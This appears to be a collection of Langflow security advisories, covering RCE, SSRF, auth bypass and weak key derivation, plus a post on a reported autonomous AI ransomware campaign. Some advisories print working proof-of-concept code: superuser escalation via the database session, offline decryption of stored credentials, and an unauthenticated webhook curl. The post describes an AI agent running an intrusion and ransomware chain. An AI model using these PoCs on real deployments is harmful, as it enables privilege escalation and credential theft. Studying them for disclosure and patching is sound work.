Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the "Stdio" transport. The user-supplied command field is passed directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LDPRELOAD, PATH override). This vulnerability is fixed in 1.9.0.
Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.5.0 until 1.10.3, an IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (POST /api/v1/mcp/project/{projectid}/install) allowed authenticated remote attackers to bypass the "local-only" access restriction. By sending a spoofed X-Forwarded-For: 127.0.0.1 header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem. This vulnerability is fixed in 1.10.3.
Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.0.0 until 1.10.1, Langflow did not verify flow ownership in the deprecated POST /api/v1/build/{flowid}/vertices and POST /api/v1/build/{flowid}/vertices/{vertexid} handlers. Through version 1.7.1, an unauthenticated caller who knew another user's flow UUID could reach these handlers; from version 1.7.2 through 1.10.0, callers had to authenticate but needed no elevated privileges. Such a caller could cause retrieveverticesorder to load and cache the private graph, enumerate its vertex identifiers, and use buildvertex to execute selected vertices and receive their results. buildgraphfromdbnocache performed a primary-key lookup without an owner filter. This could disclose private flow structure, configured values, and selected outputs and could trigger victim-configured side effects and build-history records, although it did not expose the victim's variable-store credentials or permit modification of the stored flow. This issue is fixed in Langflow 1.10.1 and langflow-base 0.10.1.
Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.6.8 until 1.9.1, Langflow authenticated access to the project identifier in a project-scoped MCP connection but did not authorize the resource URI supplied to resources/read. readresource forwarded the attacker-controlled URI to handlereadresource, which parsed a flowid and filename and called storageservice.getfile without verifying that the flow belonged to the authenticated user or current project. A user with access to any project-scoped MCP endpoint could therefore request another user's flow-backed file, while global handlelistresources and handlelisttools behavior could disclose flow and file identifiers that made targeting easier. The vulnerability disclosed uploaded documents, structured data, prompts, and other private flow artifacts across tenants but did not modify victim files or stored flows. This issue is fixed in version 1.9.1.
Summary
Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping issuperuser) or compromise the host.
This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.
Affected
- Package: langflow (PyPI), and the underlying lfx package that ships the component. - Vulnerable versions: < 1.10.1. - Patched: 1.10.1 (core fix). Upgrade to >= 1.12.3 for the complete hardening series.
Details
The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.
Two distinct weaknesses existed before 1.10.1:
1. Unrestricted builtins (default deployments). getglobals() built the exec globals from the globalimports allow-list but never set builtins. CPython's exec() then auto-injected the full builtins module, leaving import, open, eval, exec and the whole import machinery reachable regardless of the allow-list — e.g. import("os").system(...) or import("subprocess").checkoutput([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allowcustomcomponents=True).
2. No server-policy gate (locked-down deployments). Even a deployment hardened with allowcustomcomponents=False could still run interpreter code, because the components did not consult that policy before executing.
Both let an authenticated user run the reported PoC, which opens a DB session and sets issuperuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.
PoC (as reported)
1. Authenticate as a normal user. 2. Create a flow with the PythonREPLComponent. 3. Execute Python that imports Langflow internals and elevates the account:
python import asyncio from sqlmodel import select from langflow.services.database.models.user.model import User from langflow.services.deps import sessionscope
async def escalate(): async with sessionscope() as session: stmt = select(User).where(User.username == 'testuser') user = (await session.exec(stmt)).first() if user: user.issuperuser = True session.add(user) await session.commit()
asyncio.run(escalate())
Impact
Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host.
Remediation
Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in runpythonrepl() before any code is executed:
- Restricted builtins — getglobals() injects a curated safebuiltins() mapping, removing import, eval, exec, compile, open, input, globals/locals/vars, getattr/setattr, etc. (#13397) - AST validation — validatecodesafety() rejects inline import/from ... import, dunder/escape-gadget attribute access (class, subclasses, globals, frame/traceback introspection) and format-string dunder traversal. (#13397) - Server-policy gate — ensurecodeexecutionenabled() refuses to run when allowcustomcomponents=False or blockcodeinterpretercomponents=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching sys.modules["os"] through a module's transitive import graph. (#15198) - Optional hardware isolation — configure LANGFLOWSANDBOXBACKEND to run interpreter code in an isolated microVM instead of in-process. (#14400)
Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.
Hardening recommendations for operators
- Keep Langflow updated (>= 1.12.3). - For locked-down deployments, set LANGFLOWALLOWCUSTOMCOMPONENTS=false (or LANGFLOWBLOCKCODEINTERPRETERCOMPONENTS=true) to disable the interpreter entirely. - For deployments that must run untrusted code, configure LANGFLOWSANDBOXBACKEND for microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRETKEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRETKEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRETKEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRETKEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secretkey file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
python MINIMUMKEYLENGTH = 32
def ensurevalidkey(self, rawkey: str) -> bytes: if len(rawkey) < MINIMUMKEYLENGTH: random.seed(rawkey) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for in range(32)) # Fully deterministic output key = base64.urlsafeb64encode(key) else: key = self.addpadding(rawkey).encode() # Raw secret IS the Fernet key return key
def getfernet(self) -> Fernet: secretkey = self.settings.authsettings.SECRETKEY.getsecretvalue() validkey = self.ensurevalidkey(secretkey) return Fernet(validkey)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.createvariable and updatevariable).
What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
python services/variable/service.py encryptedvalue = authutils.encryptapikey(value) if type == CREDENTIALTYPE else value
Why this is critical in combination with the MCP path traversal: The secretkey file is stored at /app/data/.cache/langflow/secretkey — readable via the MCP path traversal vulnerability. Once exfiltrated: - If len(secretkey) < 32: run random.seed(secretkey) → derive identical key → decrypt all credentials instantly - If len(secretkey) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
python #!/usr/bin/env python3 Requires: pip install cryptography
import random import base64 from cryptography.fernet import Fernet
--- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decryptshortkey(secretkey: str, ciphertext: str) -> str: random.seed(secretkey) keybytes = bytes(random.getrandbits(8) for in range(32)) fernetkey = base64.urlsafeb64encode(keybytes) return Fernet(fernetkey).decrypt(ciphertext.encode()).decode()
--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decryptlongkey(secretkey: str, ciphertext: str) -> str: paddingneeded = 4 - len(secretkey) % 4 padded = secretkey + "=" paddingneeded return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
Values obtained from /app/data/.cache/langflow/secretkey (exfiltrated) and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRETKEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVGGgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWysPsKPLBri5ZOPAAP2c5EKkx5vtc1M="
plaintext = decryptlongkey(SECRETKEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3: - Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two Credential-type variables found in the variable table - Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345" - The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secretkey
End-to-end chain (with MCP path traversal): bash Step 1: Exfiltrate secretkey via MCP path traversal (no admin required, any authenticated user) Step 2: Query DB credentials via path traversal (SQLite file readable) Step 3: Decrypt offline — zero brute force, instant python3 pocdecrypt.py "$SECRETKEY" "$CIPHERTEXT" → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secretkey file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable - Database connection strings and passwords stored as credentials are exposed - OAuth tokens and webhook secrets stored via the Variables UI are exposed - All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRETKEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secretkey + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensurefernetkey() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRETKEY values. The 32-byte key is now derived deterministically with SHA-256:
python def ensurefernetkey(secretkey: str) -> bytes: if len(secretkey) < MINIMUMSECRETKEYLENGTH: digest = hashlib.sha256(secretkey.encode()).digest() # 32 bytes key = base64.urlsafeb64encode(digest) else: key = addbase64padding(secretkey).encode() return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via getfernetfordecryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secretkey) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRETKEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRETKEY (secrets.tokenurlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
Summary A vulnerability in Langflow's webhook authentication logic allows unauthenticated users to trigger the execution of any flow. The system incorrectly bypasses API key validation when the WEBHOOKAUTHENABLE configuration is set to False. This allows a remote attacker who knows a flow's UUID to execute it as if they were the owner, potentially leading to Remote Code Execution (RCE) or Denial of Service (DoS).
Details The WEBHOOKAUTHENABLE setting was introduced in v1.7.0 (#9139) with a default of False. The root cause is in the webhook authentication path, AuthService.getwebhookuser (src/backend/base/langflow/services/auth/service.py; the thin wrapper in src/backend/base/langflow/services/auth/utils.py just delegates to it):
python async def getwebhookuser(self, flowid: str, request: Request) -> UserRead: settingsservice = self.settings ... # VULNERABILITY: If this setting is False (default in <= 1.9.0), it returns # the flow owner WITHOUT checking the API Key in the request. if not settingsservice.authsettings.WEBHOOKAUTHENABLE: try: flowowner = await getuserbyflowidorendpointname(flowid) return flowowner
By default (v1.7.0 through v1.9.0), Langflow treats WEBHOOKAUTHENABLE as False, meaning all webhook endpoints are public. This relies exclusively on the secrecy of the flowid (UUID), which is an insecure practice (Security by Obscurity).
A related report, GHSA-6g4m-v5q2-475v, demonstrated a concrete RCE chain through this same bypass using the PythonCodeStructuredTool component (exec() on flow-authored Python code). That report is a duplicate of this root cause and has been closed in favor of this advisory; credit for that PoC has been added here.
PoC 1. Identify a valid flowid for a flow that performs a sensitive action (e.g., sending an email, writing to a database, or executing a Python script). 2. Execute a POST request to the webhook endpoint without any Authorization header or API Key: bash curl -X POST "http://<server-ip>:7860/api/v1/webhook/<flowid>" \ -H "Content-Type: application/json" \ -d '{"input": "payload"}' 3. Verify that the flow execution is triggered and the action is performed on the server.
Impact This is a High-severity Authentication Bypass. - Remote Code Execution (RCE): Flows often contain components that execute arbitrary Python code. An attacker can leverage this to gain full control over the server. - Denial of Service (DoS): Attackers can exhaust system resources by triggering heavy flows concurrently. - Data Integrity: Unauthorized execution of flows can lead to unintended modification of databases or external systems connected via the flow.
Affected versions >= 1.7.0, <= 1.9.0 (the range in which WEBHOOKAUTHENABLE existed and defaulted to False).
Fix Fixed in v1.9.1 by PR #12845 — fix(security): default WEBHOOKAUTHENABLE to True. The setting's default changed from False to True, so webhook endpoints now require API key authentication and ownership validation by default, unless an operator explicitly opts out via LANGFLOWWEBHOOKAUTHENABLE=false.
Langflow 1.0.16 before 1.12.0 and 0.0.94 before 1.12.0 contain an unsafe eval() vulnerability in schema.py that allows authenticated attackers to achieve code execution by placing a Python object with a malicious repr method into component input options lists. The eval() sink is triggered when a component is converted into a LangChain tool via ComponentToolkit.gettools(), including during custom component saves through the API, by interpolating options into a Literal type string that is passed directly to eval() without safe evaluation controls.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information from internal services due to a URL parser discrepancy.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote attacker to obtain sensitive information due to server-side request forgery.
IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery.
Sysdig's threat research team published a detailed breakdown of JADEPUFFER, an agentic AI system that executed a complete ransomware campaign with no human operator involvement after initial target selection.
The attack chain: CVE-2025-3248 (Langflow RCE) for initial access, credential harvesting across LLM providers and cloud platforms, MinIO default credential exploitation, then lateral movement to a Nacos configuration server via CVE-2021-29441 (auth bypass) and JWT forgery using the well-known default signing key.
The interesting part is the self-correction behavior. When a bcrypt hash generation failed due to a PATH issue in the container, the agent diagnosed the failure, generated two hypotheses, tested both, and deployed a fix in 31 seconds. Sysdig's telemetry timeline shows the full correction chain.
Then it got worse. CSA documented ENCFORGE, a JADEPUFFER variant that specifically targets ML model files (.safetensors, .gguf, .pt, .faiss, .parquet). Destruction-first ransomware. No leak site. Leverage comes from model reconstruction costs ($75K-$500K per model).
Wrote up the full attack chain, the autonomous behavior markers, and practical defenses for self-hosted AI infrastructure:
https://medium.com/@neonmaxima/jadepuffer-is-the-first-autonomous-ai-ransomware-encforge-makes-it-worse-dcb569a11502
IBM Langflow OSS 1.0.0 through 1.11.5 allows an authenticated non-administrative user could execute arbitrary operating system commands on the server at the privilege level of the application process by constructing a flow with an MCP Tools component configured to use a local stdio subprocess transport. This bypasses both the LANGFLOWCUSTOMCOMPONENTADMINONLY and LANGFLOWBLOCKCODEINTERPRETERCOMPONENTS server-side controls intended to prevent exactly this class of access. Successful exploitation could lead to arbitrary command execution, sensitive data exposure (including credentials from the process environment), file system modification, and lateral movement to services reachable from the server.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special characters in flow display names.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute flows and obtain sensitive information due to insufficient session expiration of API keys after user deactivation.
IBM Langflow OSS 1.0.0 through 1.11.5.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to obtain sensitive information from internal network resources due to improper validation of user-supplied URLs.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary Python code due to improper authorization of custom components in stored flows.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an incomplete environment variable blocklist.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to read arbitrary files due to improper access control.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of user-controlled API endpoints.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of command-line arguments in the MCP stdio server configuration.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an unguarded eval() call on attacker-controlled input.
IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to execute arbitrary code due to an incomplete denylist in the security scanner.
An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.
IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.
IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an authenticated attacker to access sensitive files belonging to other users due to improper access control in the File/Read File component. When executing flows through the /api/v1/run/advanced/{flowid} endpoint, the application allows component inputs to reference storage paths using arbitrary user or flow identifiers without verifying ownership. An attacker with low‑privileged authenticated access can supply a crafted file path pointing to another user’s storage namespace, causing the backend to read and return the contents of files uploaded by other users. This vulnerability bypasses intended authorization checks enforced by the file management API and may result in unauthorized disclosure of sensitive user data.
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.